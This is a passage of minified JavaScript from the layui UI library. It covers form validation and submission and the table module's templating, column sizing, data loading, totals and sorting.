i=b(t);i.closest(o).length&&(\"SELECT\"===t.tagName?n.select(i):\"INPUT\"===t.tagName&&(\"checkbox\"===(t=t.type)||\"radio\"===t?n[t](i):n.input(i)))}):e?n[e]?n[e]():l.error('\\u4e0d\\u652f\\u6301\\u7684 \"'+e+'\" \\u8868\\u5355\\u6e32\\u67d3'):t(),this},t.prototype.validate=function(e){var u=null,d=r.config.verify,f=\"layui-form-danger\";return!(e=b(e))[0]||(e.attr(\"lay-verify\")!==undefined||!1!==this.validate(e.find(\"*[lay-verify]\")))&&(layui.each(e,function(e,r){var s=b(this),t=(s.attr(\"lay-verify\")||\"\").split(\"|\"),o=s.attr(\"lay-vertype\"),c=s.val();if(s.removeClass(f),layui.each(t,function(e,t){var i=\"\",a=d[t];if(a){var n=\"function\"==typeof a?i=a(c,r):!a[0].test(c),l=\"select\"===r.tagName.toLowerCase()||/^(checkbox|radio)$/.test(r.type),i=i||a[1];if(\"required\"===t&&(i=s.attr(\"lay-reqtext\")||i),n)return\"tips\"===o?h.tips(i,\"string\"!=typeof s.attr(\"lay-ignore\")&&l?s.next():s,{tips:1}):\"alert\"===o?h.alert(i,{title:\"\\u63d0\\u793a\",shadeClose:!0}):/\\bstring|number\\b/.test(typeof i)&&h.msg(i,{icon:5,shift:6}),setTimeout(function(){(l?s.next().find(\"input\"):r).focus()},7),s.addClass(f),u=!0}}),u)return u}),!u)},t.prototype.submit=function(e,t){var i=b(this),e=\"string\"==typeof e?e:i.attr(\"lay-filter\"),a=this.getFormElem?this.getFormElem(e):i.parents(o).eq(0),n=a.find(\"*[lay-verify]\");if(!r.validate(n))return!1;n=r.getValue(null,a),a={elem:this.getFormElem?window.event&&window.event.target:this,form:(this.getFormElem?a:i.parents(\"form\"))[0],field:n};return\"function\"==typeof t&&t(a),layui.event.call(this,w,\"submit(\"+e+\")\",a)}),r=new t,t=b(document),q=b(window);b(function(){r.render()}),t.on(\"reset\",o,function(){var e=b(this).attr(\"lay-filter\");setTimeout(function(){r.render(null,e)},50)}),t.on(\"submit\",o,i).on(\"click\",\"*[lay-submit]\",i),e(w,r)});layui.define([\"lay\",\"laytpl\",\"laypage\",\"form\",\"util\"],function(e){\"use strict\";var p=layui.$,r=layui.lay,m=layui.laytpl,z=layui.laypage,h=layui.layer,f=layui.form,v=layui.util,u=layui.hint(),g=layui.device(),b={config:{checkName:\"LAY_CHECKED\",indexName:\"LAY_INDEX\",numbersName:\"LAY_NUM\",disabledName:\"LAY_DISABLED\"},cache:{},index:layui.table?layui.table.index+1e4:0,set:function(e){var t=this;return t.config=p.extend({},t.config,e),t},on:function(e,t){return layui.onevent.call(this,w,e,t)}},x=function(){var a=this,e=a.config,i=e.id||e.index;return{config:e,reload:function(e,t){a.reload.call(a,e,t)},reloadData:function(e,t){b.reloadData(i,e,t)},setColsWidth:function(){a.setColsWidth.call(a)},resize:function(){a.resize.call(a)}}},k=function(e){var t=x.that[e];return t||u.error(e?\"The table instance with ID '\"+e+\"' not found\":\"ID argument required\"),t||null},l=function(e){var t=x.config[e];return t||u.error(e?\"The table instance with ID '\"+e+\"' not found\":\"ID argument required\"),t||null},C=function(e){var t=this.config||{},a=(e=e||{}).item3,i=e.content,t=((\"escape\"in a?a:t).escape&&(i=v.escape(i)),e.text&&a.exportTemplet||a.templet||a.toolbar);return t&&(i=\"function\"==typeof t?t.call(a,e.tplData,e.obj):m(p(t).html()||String(i)).render(p.extend({LAY_COL:a},e.tplData))),e.text?p(\"<div>\"+i+\"</div>\").text():i},w=\"table\",t=\".layui-table\",T=\"layui-hide\",L=\"layui-hide-v\",N=\"layui-none\",R=\"layui-table-view\",o=\".layui-table-header\",_=\".layui-table-body\",A=\".layui-table-pageview\",D=\".layui-table-sort\",W=\"layui-table-edit\",E=\"layui-table-hover\",M=\"laytable-cell-group\",j=\"layui-table-col-special\",H=\"layui-table-tool-panel\",S=\"LAY_TABLE_MOVE_DICT\",a=function(e){return['<table cellspacing=\"0\" cellpadding=\"0\" border=\"0\" class=\"layui-table\" ','{{# if(d.data.skin){ }}lay-skin=\"{{=d.data.skin}}\"{{# } }} {{# if(d.data.size){ }}lay-size=\"{{=d.data.size}}\"{{# } }} {{# if(d.data.even){ }}lay-even{{# } }}>',\"<thead>\",\"{{# layui.each(d.data.cols, function(i1, item1){ }}\",\"<tr>\",\"{{# layui.each(item1, function(i2, item2){ }}\",'{{# if(item2.fixed && item2.fixed !== \"right\"){ left = true; } }}','{{# if(item2.fixed === \"right\"){ right = true; } }}',(e=e||{}).fixed&&\"right\"!==e.fixed?'{{# if(item2.fixed && item2.fixed !== \"right\"){ }}':\"right\"===e.fixed?'{{# if(item2.fixed === \"right\"){ }}':\"\",\"{{# var isSort = !(item2.colGroup) && item2.sort; }}\",'<th data-field=\"{{= item2.field||i2 }}\" data-key=\"{{=d.index}}-{{=i1}}-{{=i2}}\" {{# if( item2.parentKey){ }}data-parentkey=\"{{= item2.parentKey }}\"{{# } }} {{# if(item2.minWidth){ }}data-minwidth=\"{{=item2.minWidth}}\"{{# } }} {{# if(item2.maxWidth){ }}data-maxwidth=\"{{=item2.maxWidth}}\"{{# } }} {{#if(item2.colspan){}} colspan=\"{{=item2.colspan}}\"{{#} if(item2.rowspan){}} rowspan=\"{{=item2.rowspan}}\"{{#}}} {{# if(item2.unresize || item2.colGroup){ }}data-unresize=\"true\"{{# } }} class=\"{{# if(item2.hide){ }}layui-hide{{# } }}{{# if(isSort){ }} layui-unselect{{# } }}{{# if(!item2.field){ }} layui-table-col-special{{# } }}\"{{# if(item2.title){ }} title=\"{{ layui.$(\\'<div>\\' + item2.title + \\'</div>\\').text() }}\"{{# } }}>','<div class=\"layui-table-cell laytable-cell-',\"{{# if(item2.colGroup){ }}\",\"group\",\"{{# } else { }}\",\"{{=d.index}}-{{=i1}}-{{=i2}}\",'{{# if(item2.type !== \"normal\"){ }}',\" laytable-cell-{{= item2.type }}\",\"{{# } }}\",\"{{# } }}\",'\" {{#if(item2.align){}}align=\"{{=item2.align}}\"{{#}}}>','{{# if(item2.type === \"checkbox\"){ }}','<input type=\"checkbox\" name=\"layTableCheckbox\" lay-skin=\"primary\" lay-filter=\"layTableAllChoose\" {{# if(item2[d.data.checkName]){ }}checked{{# }; }}>',\"{{# } else { }}\",'<span>{{-item2.title||\"\"}}</span>',\"{{# if(isSort){ }}\",'<span class=\"layui-table-sort layui-inline\"><i class=\"layui-edge layui-table-sort-asc\" title=\"\\u5347\\u5e8f\"></i><i class=\"layui-edge layui-table-sort-desc\" title=\"\\u964d\\u5e8f\"></i></span>',\"{{# } }}\",\"{{# } }}\",\"</div>\",\"</th>\",e.fixed?\"{{# }; }}\":\"\",\"{{# }); }}\",\"</tr>\",\"{{# }); }}\",\"</thead>\",\"</table>\"].join(\"\")},i=['<table cellspacing=\"0\" cellpadding=\"0\" border=\"0\" class=\"layui-table\" ','{{# if(d.data.skin){ }}lay-skin=\"{{=d.data.skin}}\"{{# } }} {{# if(d.data.size){ }}lay-size=\"{{=d.data.size}}\"{{# } }} {{# if(d.data.even){ }}lay-even{{# } }}>',\"<tbody></tbody>\",\"</table>\"].join(\"\"),c=[,\"{{# if(d.data.toolbar){ }}\",'<div class=\"layui-table-tool\">','<div class=\"layui-table-tool-temp\"></div>','<div class=\"layui-table-tool-self\"></div>',\"</div>\",\"{{# } }}\",'<div class=\"layui-table-box\">',\"{{# if(d.data.loading){ }}\",'<div class=\"layui-table-init\" style=\"background-color: #fff;\">','<i class=\"layui-icon layui-icon-loading layui-anim layui-anim-rotate layui-anim-loop\"></i>',\"</div>\",\"{{# } }}\",\"{{# var left, right; }}\",'<div class=\"layui-table-header\">',a(),\"</div>\",'<div class=\"layui-table-body layui-table-main\">',i,\"</div>\",\"{{# if(left){ }}\",'<div class=\"layui-table-fixed layui-table-fixed-l\">','<div class=\"layui-table-header\">',a({fixed:!0}),\"</div>\",'<div class=\"layui-table-body\">',i,\"</div>\",\"</div>\",\"{{# }; }}\",\"{{# if(right){ }}\",'<div class=\"layui-table-fixed layui-table-fixed-r layui-hide\">','<div class=\"layui-table-header\">',a({fixed:\"right\"}),'<div class=\"layui-table-mend\"></div>',\"</div>\",'<div class=\"layui-table-body\">',i,\"</div>\",\"</div>\",\"{{# }; }}\",\"</div>\",\"{{# if(d.data.totalRow){ }}\",'<div class=\"layui-table-total\">','<table cellspacing=\"0\" cellpadding=\"0\" border=\"0\" class=\"layui-table\" ','{{# if(d.data.skin){ }}lay-skin=\"{{=d.data.skin}}\"{{# } }} {{# if(d.data.size){ }}lay-size=\"{{=d.data.size}}\"{{# } }} {{# if(d.data.even){ }}lay-even{{# } }}>','<tbody><tr><td><div class=\"layui-table-cell\" style=\"visibility: hidden;\">Total</div></td></tr></tbody>',\"</table>\",\"</div>\",\"{{# } }}\",'<div class=\"layui-table-column layui-table-page layui-hide\">','<div class=\"layui-inline layui-table-pageview\" id=\"layui-table-page{{=d.index}}\"></div>',\"</div>\",\"<style>\",\"{{# layui.each(d.data.cols, function(i1, item1){\",\"layui.each(item1, function(i2, item2){ }}\",\".laytable-cell-{{=d.index}}-{{=i1}}-{{=i2}}{ \",\"{{# if(item2.width){ }}\",\"width: {{=item2.width}}px;\",\"{{# } }}\",\" }\",\"{{# });\",\"}); }}\",\"{{# if(d.data.lineStyle){\",'var cellClassName = \".layui-table-view-\"+ d.index +\" .layui-table-body .layui-table .layui-table-cell\";',\"}}\",\"{{= cellClassName }}{\",\"display: -webkit-box; -webkit-box-align: center; white-space: normal; {{- d.data.lineStyle }} \",\"}\",\"{{= cellClassName }}:hover{overflow: auto;}\",\"{{# } }}\",\"{{# if(d.data.css){ }}\",\"{{- d.data.css }}\",\"{{# } }}\",\"</style>\"].join(\"\"),I=p(window),F=p(document),n=function(e){this.index=++b.index,this.config=p.extend({},this.config,b.config,e),this.render()},d=(n.prototype.config={limit:10,loading:!0,escape:!0,cellMinWidth:60,cellMaxWidth:Number.MAX_VALUE,editTrigger:\"click\",defaultToolbar:[\"filter\",\"exports\",\"print\"],defaultContextmenu:!0,autoSort:!0,text:{none:\"\\u65e0\\u6570\\u636e\"},cols:[]},n.prototype.render=function(e){var t=this,a=t.config,i=(a.elem=p(a.elem),a.where=a.where||{},a.id=\"id\"in a?a.id:a.elem.attr(\"id\")||t.index);if(x.that[i]=t,(x.config[i]=a).request=p.extend({pageName:\"page\",limitName:\"limit\"},a.request),a.response=p.extend({statusName:\"code\",statusCode:0,msgName:\"msg\",dataName:\"data\",totalRowName:\"totalRow\",countName:\"count\"},a.response),null!==a.page&&\"object\"==typeof a.page&&(a.limit=a.page.limit||a.limit,a.limits=a.page.limits||a.limits,t.page=a.page.curr=a.page.curr||1,delete a.page.elem,delete a.page.jump),!a.elem[0])return t;if(a.elem.attr(\"lay-filter\")||a.elem.attr(\"lay-filter\",a.id),\"reloadData\"===e)return t.pullData(t.page,{type:\"reloadData\"});a.index=t.index,t.key=a.id||a.index,t.setInit(),a.height&&/^full-\\d+$/.test(a.height)?(t.fullHeightGap=a.height.split(\"-\")[1],a.height=I.height()-t.fullHeightGap):a.height&&/^#\\w+\\S*-\\d+$/.test(a.height)&&(i=a.height.split(\"-\"),t.parentHeightGap=i.pop(),t.parentDiv=i.join(\"-\"),a.height=p(t.parentDiv).height()-t.parentHeightGap);var l,e=a.elem,i=e.next(\".\"+R),n=t.elem=p(\"<div></div>\");n.addClass((l=[R,R+\"-\"+t.index,\"layui-form\",\"layui-border-box\"],a.className&&l.push(a.className),l.join(\" \"))).attr({\"lay-filter\":\"LAY-TABLE-FORM-DF-\"+t.index,\"lay-id\":a.id,style:(l=[],a.width&&l.push(\"width:\"+a.width+\"px;\"),a.height&&l.push(\"height:\"+a.height+\"px;\"),l.join(\"\"))}).html(m(c,{open:\"{{\",close:\"}}\"}).render({data:a,index:t.index})),i[0]&&i.remove(),e.after(n),t.layTool=n.find(\".layui-table-tool\"),t.layBox=n.find(\".layui-table-box\"),t.layHeader=n.find(o),t.layMain=n.find(\".layui-table-main\"),t.layBody=n.find(_),t.layFixed=n.find(\".layui-table-fixed\"),t.layFixLeft=n.find(\".layui-table-fixed-l\"),t.layFixRight=n.find(\".layui-table-fixed-r\"),t.layTotal=n.find(\".layui-table-total\"),t.layPage=n.find(\".layui-table-page\"),t.renderToolbar(),t.renderPagebar(),t.fullSize(),t.pullData(t.page),t.events()},n.prototype.initOpts=function(e){this.config;e.checkbox&&(e.type=\"checkbox\"),e.space&&(e.type=\"space\"),e.type||(e.type=\"normal\"),\"normal\"!==e.type&&(e.unresize=!0,e.width=e.width||{checkbox:50,radio:50,space:30,numbers:60}[e.type])},n.prototype.setInit=function(e){var l,a,d=this,r=d.config;if(r.clientWidth=r.width||(l=function(e){var t,a=(e=e||r.elem.parent()).width();try{t=\"none\"===e.css(\"display\")}catch(i){}return!e[0]||a&&!t?a:l(e.parent())})(),\"width\"===e)return r.clientWidth;r.height=r.maxHeight||r.height,r.css&&-1===r.css.indexOf(R)&&(a=r.css.split(\"}\"),layui.each(a,function(e,t){t&&(a[e]=\".\"+R+\"-\"+d.index+\" \"+t)}),r.css=a.join(\"}\"));var c=function(a,e,i,l){var n,o;l?(l.key=[r.index,a,i].join(\"-\"),l.hide=l.hide||!1,l.colspan=l.colspan||0,l.rowspan=l.rowspan||0,d.initOpts(l),(n=a+(parseInt(l.rowspan)||1))<r.cols.length?(l.colGroup=!0,o=0,layui.each(r.cols[n],function(e,t){t.HAS_PARENT||1<=o&&o==(l.colspan||1)||(t.HAS_PARENT=!0,t.parentKey=[r.index,a,i].join(\"-\"),o+=parseInt(1<t.colspan?t.colspan:1),c(n,r.cols[n],e,t))})):l.colGroup=!1):e.splice(i,1)};layui.each(r.cols,function(a,i){layui.each(i,function(e,t){a?delete t.HAS_PARENT:c(a,i,e,t)})})},n.prototype.renderToolbar=function(){var e=this.config,t=['<div class=\"layui-inline\" lay-event=\"add\"><i class=\"layui-icon layui-icon-add-1\"></i></div>','<div class=\"layui-inline\" lay-event=\"update\"><i class=\"layui-icon layui-icon-edit\"></i></div>','<div class=\"layui-inline\" lay-event=\"delete\"><i class=\"layui-icon layui-icon-delete\"></i></div>'].join(\"\"),a=this.layTool.find(\".layui-table-tool-temp\"),i=(\"default\"===e.toolbar?a.html(t):\"string\"==typeof e.toolbar&&(t=p(e.toolbar).html()||\"\")&&a.html(m(t).render(e)),{filter:{title:\"\\u7b5b\\u9009\\u5217\",layEvent:\"LAYTABLE_COLS\",icon:\"layui-icon-cols\"},exports:{title:\"\\u5bfc\\u51fa\",layEvent:\"LAYTABLE_EXPORT\",icon:\"layui-icon-export\"},print:{title:\"\\u6253\\u5370\",layEvent:\"LAYTABLE_PRINT\",icon:\"layui-icon-print\"}}),l=[];\"object\"==typeof e.defaultToolbar&&layui.each(e.defaultToolbar,function(e,t){t=\"string\"==typeof t?i[t]:t;t&&l.push('<div class=\"layui-inline\" title=\"'+t.title+'\" lay-event=\"'+t.layEvent+'\"><i class=\"layui-icon '+t.icon+'\"></i></div>')}),this.layTool.find(\".layui-table-tool-self\").html(l.join(\"\"))},n.prototype.renderPagebar=function(){var e,t=this.config,a=this.layPagebar=p('<div class=\"layui-inline layui-table-pagebar\"></div>');t.pagebar&&((e=p(t.pagebar).html()||\"\")&&a.append(m(e).render(t)),this.layPage.append(a))},n.prototype.setParentCol=function(e,t){var a=this.config,i=this.layHeader.find('th[data-key=\"'+t+'\"]'),l=parseInt(i.attr(\"colspan\"))||0;i[0]&&(t=t.split(\"-\"),t=a.cols[t[1]][t[2]],e?l--:l++,i.attr(\"colspan\",l),i[1<=l||!e?\"removeClass\":\"addClass\"](T),t.colspan=l,t.hide=1<=l||!e,(a=i.data(\"parentkey\"))&&this.setParentCol(e,a))},n.prototype.setColsPatch=function(){var a=this,e=a.config;layui.each(e.cols,function(e,t){layui.each(t,function(e,t){t.hide&&a.setParentCol(t.hide,t.parentKey)})})},n.prototype.setGroupWidth=function(i){var e,l=this;l.config.cols.length<=1||((e=l.layHeader.find((i?\"th[data-key=\"+i.data(\"parentkey\")+\"]>\":\"\")+\".\"+M)).css(\"width\",0),layui.each(e.get().reverse(),function(){var e=p(this),t=e.parent().data(\"key\"),a=0;l.layHeader.eq(0).find(\"th[data-parentkey=\"+t+\"]\").width(function(e,t){p(this).hasClass(T)||0<t&&(a+=t)}),a&&e.css(\"max-width\",a),i&&e.parent().data(\"parentkey\")&&l.setGroupWidth(e.parent())}),e.css(\"width\",\"auto\"))},n.prototype.setColsWidth=function(){var t,a,n=this,d=n.config,i=0,r=0,c=0,s=0,y=n.setInit(\"width\"),e=(n.eachCols(function(e,t){t.hide||i++}),y=y-(\"line\"===d.skin||\"nob\"===d.skin?2:i+1)-n.getScrollWidth(n.layMain[0])-1,function(o){layui.each(d.cols,function(e,n){layui.each(n,function(e,t){var a=0,i=t.minWidth||d.cellMinWidth,l=t.maxWidth||d.cellMaxWidth;t?t.colGroup||t.hide||(o?c&&c<i?(r--,a=i):c&&l<c&&(r--,a=l):(a=t.width||0,/\\d+%$/.test(a)?l<(a=(a=Math.floor(parseFloat(a)/100*y))<i?i:a)&&(a=l):a?\"normal\"===t.type&&(a<i&&(t.width=a=i),l<a&&(t.width=a=l)):(t.width=a=0,r++)),t.hide&&(a=0),s+=a):n.splice(e,1)})}),s<y&&0<r&&(c=(y-s)/r)}),l=(e(),e(!0),n.autoColNums=r=0<r?r:0,n.eachCols(function(e,a){var i=a.minWidth||d.cellMinWidth,l=a.maxWidth||d.cellMaxWidth;a.colGroup||a.hide||(0===a.width?n.getCssRule(a.key,function(e){e.style.width=Math.floor(c<i?i:l<c?l:c)+\"px\"}):/\\d+%$/.test(a.width)?n.getCssRule(a.key,function(e){var t=Math.floor(parseFloat(a.width)/100*y);e.style.width=(t=l<(t=t<i?i:t)?l:t)+\"px\"}):n.getCssRule(a.key,function(e){e.style.width=a.width+\"px\"}))}),n.layMain.width()-n.getScrollWidth(n.layMain[0])-n.layMain.children(\"table\").outerWidth());0<n.autoColNums&&-i<=l&&l<=i&&(e=(a=(t=function(e){return!(e=e||n.layHeader.eq(0).find(\"thead > tr:first-child > th:last-child\")).data(\"field\")&&e.prev()[0]?t(e.prev()):e})()).data(\"key\"),n.getCssRule(e,function(e){var t=e.style.width||a.outerWidth();e.style.width=parseFloat(t)+l+\"px\",0<n.layMain.height()-n.layMain.prop(\"clientHeight\")&&(e.style.width=parseFloat(e.style.width)-1+\"px\")})),n.setGroupWidth(),n.layMain.find(\"tbody\").is(\":empty\")?(e=n.layHeader.first().children(\"table\").width(),n.layMain.find(\"table\").width(e)):n.layMain.find(\"table\").width(\"auto\"),n.loading(!0)},n.prototype.resize=function(){this.fullSize(),this.setColsWidth(),this.scrollPatch()},n.prototype.reload=function(e,t,a){var i=this;e=e||{},delete i.haveInit,layui.each(e,function(e,t){\"array\"===layui.type(t)&&delete i.config[e]}),i.config=p.extend(t,{},i.config,e),i.render(a)},n.prototype.errorView=function(e){var t=this,a=t.layMain.find(\".\"+N),e=p('<div class=\"'+N+'\">'+(e||\"Error\")+\"</div>\");a[0]&&(t.layNone.remove(),a.remove()),t.layFixed.addClass(T),t.layMain.find(\"tbody\").html(\"\"),t.layMain.append(t.layNone=e),t.layTotal.addClass(L),t.layPage.find(A).addClass(L),b.cache[t.key]=[],t.syncCheckAll(),t.renderForm(),t.setColsWidth()},n.prototype.page=1,n.prototype.pullData=function(t,a){var e,i,l=this,n=l.config,o=n.request,d=n.response,r=function(){\"object\"==typeof n.initSort&&l.sort({field:n.initSort.field,type:n.initSort.type,reloadType:a.type})};a=a||{},\"function\"==typeof n.before&&n.before(n),l.startTime=(new Date).getTime(),n.url?(e={},n.page&&(e[o.pageName]=t,e[o.limitName]=n.limit),o=p.extend(e,n.where),n.contentType&&0==n.contentType.indexOf(\"application/json\")&&(o=JSON.stringify(o)),l.loading(),p.ajax({type:n.method||\"get\",url:n.url,contentType:n.contentType,data:o,dataType:n.dataType||\"json\",jsonpCallback:n.jsonpCallback,headers:n.headers||{},success:function(e){(e=\"function\"==typeof n.parseData?n.parseData(e)||e:e)[d.statusName]!=d.statusCode?l.errorView(e[d.msgName]||'\\u8fd4\\u56de\\u7684\\u6570\\u636e\\u4e0d\\u7b26\\u5408\\u89c4\\u8303\\uff0c\\u6b63\\u786e\\u7684\\u6210\\u529f\\u72b6\\u6001\\u7801\\u5e94\\u4e3a\\uff1a\"'+d.statusName+'\": '+d.statusCode):(l.renderData({res:e,curr:t,count:e[d.countName],type:a.type}),r(),n.time=(new Date).getTime()-l.startTime+\" ms\"),l.setColsWidth(),\"function\"==typeof n.done&&n.done(e,t,e[d.countName])},error:function(e,t){l.errorView(\"\\u8bf7\\u6c42\\u5f02\\u5e38\\uff0c\\u9519\\u8bef\\u63d0\\u793a\\uff1a\"+t),\"function\"==typeof n.error&&n.error(e,t)}})):\"array\"===layui.type(n.data)&&(e={},o=t*n.limit-n.limit,i=n.data.concat(),e[d.dataName]=n.page?i.splice(o,n.limit):i,e[d.countName]=n.data.length,\"object\"==typeof n.totalRow&&(e[d.totalRowName]=p.extend({},n.totalRow)),l.renderData({res:e,curr:t,count:e[d.countName],type:a.type}),r(),l.setColsWidth(),\"function\"==typeof n.done&&n.done(e,t,e[d.countName]))},n.prototype.eachCols=function(e){return b.eachCols(null,e,this.config.cols),this},n.prototype.col=function(e){try{return e=e.split(\"-\"),this.config.cols[e[1]][e[2]]||{}}catch(t){return u.error(t),{}}},n.prototype.getTrHtml=function(t,a,l,e){var y=this,u=y.config,n=e&&e.trs||[],h=e&&e.trs_fixed||[],f=e&&e.trs_fixed_r||[];return l=l||1,layui.each(t,function(o,d){var i=[],r=[],c=[],s=o+u.limit*(l-1)+1;if(\"object\"!=typeof d){t[o]=d={LAY_KEY:d};try{b.cache[y.key][o]=d}catch(e){}}\"array\"===layui.type(d)&&0===d.length||(d[b.config.numbersName]=s,a||(d[b.config.indexName]=o),y.eachCols(function(e,l){var t,e=l.field||e,a=l.key,n=d[e];n!==undefined&&null!==n||(n=\"\"),l.colGroup||(t=['<td data-field=\"'+e+'\" data-key=\"'+a+'\" '+(e=[],(t=\"function\"==typeof l.edit?l.edit(d):l.edit)&&e.push('data-edit=\"'+t+'\"'),l.templet&&e.push('data-content=\"'+v.escape(n)+'\"'),l.toolbar&&e.push('data-off=\"true\"'),l.event&&e.push('lay-event=\"'+l.event+'\"'),l.minWidth&&e.push('data-minwidth=\"'+l.minWidth+'\"'),l.maxWidth&&e.push('data-maxwidth=\"'+l.maxWidth+'\"'),e.join(\" \"))+' class=\"'+(t=[],l.hide&&t.push(T),l.field||t.push(j),t.join(\" \"))+'\">','<div class=\"layui-table-cell laytable-cell-'+(\"normal\"===l.type?a:a+\" laytable-cell-\"+l.type)+'\"'+(l.align?' align=\"'+l.align+'\"':\"\")+(e=[],l.style&&e.push('style=\"'+l.style+'\"'),e.join(\" \"))+\">\"+function(){var e,t=p.extend(!0,{LAY_COL:l},d),a=b.config.checkName,i=b.config.disabledName;switch(l.type){case\"checkbox\":return'<input type=\"checkbox\" name=\"layTableCheckbox\" lay-skin=\"primary\" '+(e=[],l[a]&&(d[a]=l[a],l[a]&&(e[0]=\"checked\")),t[a]&&(e[0]=\"checked\"),t[i]&&e.push(\"disabled\"),e.join(\" \"))+' lay-type=\"layTableCheckbox\">';case\"radio\":return t[a]&&(y.thisCheckedRowIndex=o),'<input type=\"radio\" name=\"layTableRadio_'+u.index+'\" '+(e=[],t[a]&&(e[0]=\"checked\"),t[i]&&e.push(\"disabled\"),e.join(\" \"))+' lay-type=\"layTableRadio\">';case\"numbers\":return s}return l.toolbar?m(p(l.toolbar).html()||\"\").render(t):C.call(y,{item3:l,content:n,tplData:t})}(),\"</div></td>\"].join(\"\"),i.push(t),l.fixed&&\"right\"!==l.fixed&&r.push(t),\"right\"===l.fixed&&c.push(t))}),n.push('<tr data-index=\"'+o+'\">'+i.join(\"\")+\"</tr>\"),h.push('<tr data-index=\"'+o+'\">'+r.join(\"\")+\"</tr>\"),f.push('<tr data-index=\"'+o+'\">'+c.join(\"\")+\"</tr>\"))}),{trs:n,trs_fixed:h,trs_fixed_r:f}},b.getTrHtml=function(e,t){return k(e).getTrHtml(t)},n.prototype.renderData=function(e){var a=this,i=a.config,t=e.res,l=e.curr,n=e.count,o=e.sort,d=t[i.response.dataName]||[],t=t[i.response.totalRowName],r=[],c=[],s=[],y=function(){if(i.HAS_SET_COLS_PATCH||a.setColsPatch(),i.HAS_SET_COLS_PATCH=!0,a.thisCheckedRowIndex=\"\",!o&&a.sortKey)return a.sort({field:a.sortKey.field,type:a.sortKey.sort,pull:!0,reloadType:e.type});a.getTrHtml(d,o,l,{trs:r,trs_fixed:c,trs_fixed_r:s}),\"fixed\"===i.scrollPos&&\"reloadData\"===e.type||a.layBody.scrollTop(0),\"reset\"===i.scrollPos&&a.layBody.scrollLeft(0),a.layMain.find(\".\"+N).remove(),a.layMain.find(\"tbody\").html(r.join(\"\")),a.layFixLeft.find(\"tbody\").html(c.join(\"\")),a.layFixRight.find(\"tbody\").html(s.join(\"\")),a.renderForm(),\"number\"==typeof a.thisCheckedRowIndex&&a.setRowChecked({type:\"radio\",index:a.thisCheckedRowIndex},!0),a.syncCheckAll(),a.fullSize(),a.haveInit?a.scrollPatch():setTimeout(function(){a.scrollPatch()},50),a.haveInit=!0,h.close(a.tipsIndex)};return b.cache[a.key]=d,a.layTotal[0==d.length?\"addClass\":\"removeClass\"](L),a.layPage[i.page||i.pagebar?\"removeClass\":\"addClass\"](T),a.layPage.find(A)[!i.page||0==n||0===d.length&&1==l?\"addClass\":\"removeClass\"](L),0===d.length?a.errorView(i.text.none):(a.layFixLeft.removeClass(T),o?y():(y(),a.renderTotal(d,t),a.layTotal&&a.layTotal.removeClass(T),void(i.page&&(i.page=p.extend({elem:\"layui-table-page\"+i.index,count:n,limit:i.limit,limits:i.limits||[10,20,30,40,50,60,70,80,90],groups:3,layout:[\"prev\",\"page\",\"next\",\"skip\",\"count\",\"limit\"],prev:'<i class=\"layui-icon\">&#xe603;</i>',next:'<i class=\"layui-icon\">&#xe602;</i>',jump:function(e,t){t||(a.page=e.curr,i.limit=e.limit,a.pullData(e.curr))}},i.page),i.page.count=n,z.render(i.page)))))},n.prototype.renderTotal=function(e,o){var d,r=this,c=r.config,s={};c.totalRow&&(layui.each(e,function(e,i){\"array\"===layui.type(i)&&0===i.length||r.eachCols(function(e,t){var e=t.field||e,a=i[e];t.totalRow&&(s[e]=(s[e]||0)+(parseFloat(a)||0))})}),r.dataTotal=[],d=[],r.eachCols(function(e,t){var a,e=t.field||e,i=o&&o[t.field],l=\"totalRowDecimals\"in t?t.totalRowDecimals:2,l=s[e]?parseFloat(s[e]||0).toFixed(l):\"\",l=(a=t.totalRowText||\"\",(n={LAY_COL:t})[e]=l,n=t.totalRow&&C.call(r,{item3:t,content:l,tplData:n})||a,i||n),n=(t.field&&r.dataTotal.push({field:t.field,total:p(\"<div>\"+l+\"</div>\").text()}),['<td data-field=\"'+e+'\" data-key=\"'+t.key+'\" '+(a=[],t.minWidth&&a.push('data-minwidth=\"'+t.minWidth+'\"'),t.maxWidth&&a.push('data-maxwidth=\"'+t.maxWidth+'\"'),a.join(\" \"))+' class=\"'+(n=[],t.hide&&n.push(T),t.field||n.push(j),n.join(\" \"))+'\">','<div class=\"layui-table-cell laytable-cell-'+(a=t.key,\"normal\"===t.type?a:a+\" laytable-cell-\"+t.type)+'\"'+(n=[],t.align&&n.push('align=\"'+t.align+'\"'),t.style&&n.push('style=\"'+t.style+'\"'),n.join(\" \"))+\">\"+(\"string\"==typeof(a=t.totalRow||c.totalRow)?m(a).render(p.extend({TOTAL_NUMS:i||s[e],TOTAL_ROW:o||{},LAY_COL:t},t)):l),\"</div></td>\"].join(\"\"));d.push(n)}),e=r.layTotal.find(\".layui-table-patch\"),r.layTotal.find(\"tbody\").html(\"<tr>\"+d.join(\"\")+(e.length?e.get(0).outerHTML:\"\")+\"</tr>\"))},n.prototype.getColElem=function(e,t){this.config;return e.eq(0).find(\".laytable-cell-\"+t+\":eq(0)\")},n.prototype.renderForm=function(e){this.config;var t=this.elem.attr(\"lay-filter\");f.render(e,t)},n.prototype.setRowChecked=function(a,e){var t=this,i=t.config,l=\"layui-table-click\",n=t.layBody.find(\"tr\"+(\"all\"===a.index?\"\":'[data-index=\"'+a.index+'\"]'));\"checkbox\"!==(a=p.extend({type:\"checkbox\",checked:!0},a)).type&&\"all\"!==a.index&&n.addClass(l).siblings(\"tr\").removeClass(l),a.selectedStyle||e||(l=b.cache[t.key],layui.each(l,function(e,t){a.index===e||\"all\"===a.index?t[i.checkName]=a.checked:\"radio\"===a.type&&delete t[i.checkName]}),n.find('input[lay-type=\"'+({radio:\"layTableRadio\",checkbox:\"layTableCheckbox\"}[a.type]||\"checkbox\")+'\"]').prop(\"checked\",a.checked),t.syncCheckAll(),t.renderForm(a.type))},n.prototype.sort=function(l){var e,t=this,a={},i=t.config,n=i.elem.attr(\"lay-filter\"),o=b.cache[t.key];\"string\"==typeof(l=l||{}).field&&(d=l.field,t.layHeader.find(\"th\").each(function(e,t){var a=p(this),i=a.data(\"field\");if(i===l.field)return l.field=a,d=i,!1}));try{var d=d||l.field.data(\"field\"),r=l.field.data(\"key\");if(t.sortKey&&!l.pull&&d===t.sortKey.field&&l.type===t.sortKey.sort)return;var c=t.layHeader.find(\"th .laytable-cell-\"+r).find(D);t.layHeader.find(\"th\").find(D).removeAttr(\"lay-sort\"),c.attr(\"lay-sort\",l.type||null),t.layFixed.find(\"th\")}catch(s){u.error(\"Table modules: sort field '\"+d+\"' not 